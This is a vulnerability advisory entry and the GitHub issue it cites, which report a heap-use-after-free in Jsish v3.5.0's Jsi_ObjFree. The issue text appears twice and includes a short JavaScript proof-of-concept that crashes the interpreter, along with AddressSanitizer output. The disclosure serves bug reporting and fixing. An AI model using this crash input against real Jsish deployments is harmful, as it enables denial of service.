Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_ObjFree in src/jsiObj.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var __instance = Object;
__instance.exec = RegExp;

try {
        $ERROR('Error' + (__instance.exec("1")));
} catch (e) {
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==22083==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000127e8 at pc 0x5569eb9fb061 bp 0x7ffdf3af1950 sp 0x7ffdf3af1940
READ of size 4 at 0x6080000127e8 thread T0
    #0 0x5569eb9fb060 in Jsi_ObjFree src/jsiObj.c:339
    #1 0x5569eb8e3aa0 in jsiInterpDelete src/jsiInterp.c:1943
    #2 0x5569ec0fa047 in jsi_main src/main.c:49
    #3 0x7f90875e2bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #4 0x5569eb889969 in _start (/usr/local/bin/jsish+0xe8969)

0x6080000127e8 is located 72 bytes inside of 96-byte region [0x6080000127a0,0x608000012800)
freed by thread T0 here:
    #0 0x7f90882517a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5569eb8cf073 in regExpFree src/jsiInterp.c:588

previously allocated by thread T0 here:
    #0 0x7f9088251d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x5569eb8faaa4 in Jsi_Calloc src/jsiUtils.c:57
    #2 0x5569ec1a6faf  (/usr/local/bin/jsish+0xa05faf)

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree
Shadow bytes around the buggy address:
  0x0c107fffa4a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa4b0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa4c0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd

  0x0c107fffa4d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa4e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x0c107fffa4f0: fa fa fa fa fd fd fd fd fd fd fd fd fd[fd]fd fd
  0x0c107fffa500: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa510: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c107fffa530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c107fffa540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==22083==ABORTING
```


MEMLEAK NOW: Heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : MEMLEAK NOW: Heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var __instance = Object;
__instance.exec = RegExp;

try {
        $ERROR('Error' + (__instance.exec("1")));
} catch (e) {
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==22083==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000127e8 at pc 0x5569eb9fb061 bp 0x7ffdf3af1950 sp 0x7ffdf3af1940
READ of size 4 at 0x6080000127e8 thread T0
    #0 0x5569eb9fb060 in Jsi_ObjFree src/jsiObj.c:339
    #1 0x5569eb8e3aa0 in jsiInterpDelete src/jsiInterp.c:1943
    #2 0x5569ec0fa047 in jsi_main src/main.c:49
    #3 0x7f90875e2bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #4 0x5569eb889969 in _start (/usr/local/bin/jsish+0xe8969)

0x6080000127e8 is located 72 bytes inside of 96-byte region [0x6080000127a0,0x608000012800)
freed by thread T0 here:
    #0 0x7f90882517a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5569eb8cf073 in regExpFree src/jsiInterp.c:588

previously allocated by thread T0 here:
    #0 0x7f9088251d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x5569eb8faaa4 in Jsi_Calloc src/jsiUtils.c:57
    #2 0x5569ec1a6faf  (/usr/local/bin/jsish+0xa05faf)

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree
Shadow bytes around the buggy address:
  0x0c107fffa4a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa4b0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa4c0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd

  0x0c107fffa4d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa4e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x0c107fffa4f0: fa fa fa fa fd fd fd fd fd fd fd fd fd[fd]fd fd
  0x0c107fffa500: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa510: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c107fffa530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c107fffa540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==22083==ABORTING
```


--- end body ---

comments :
--- start comments ---

--- end comments ---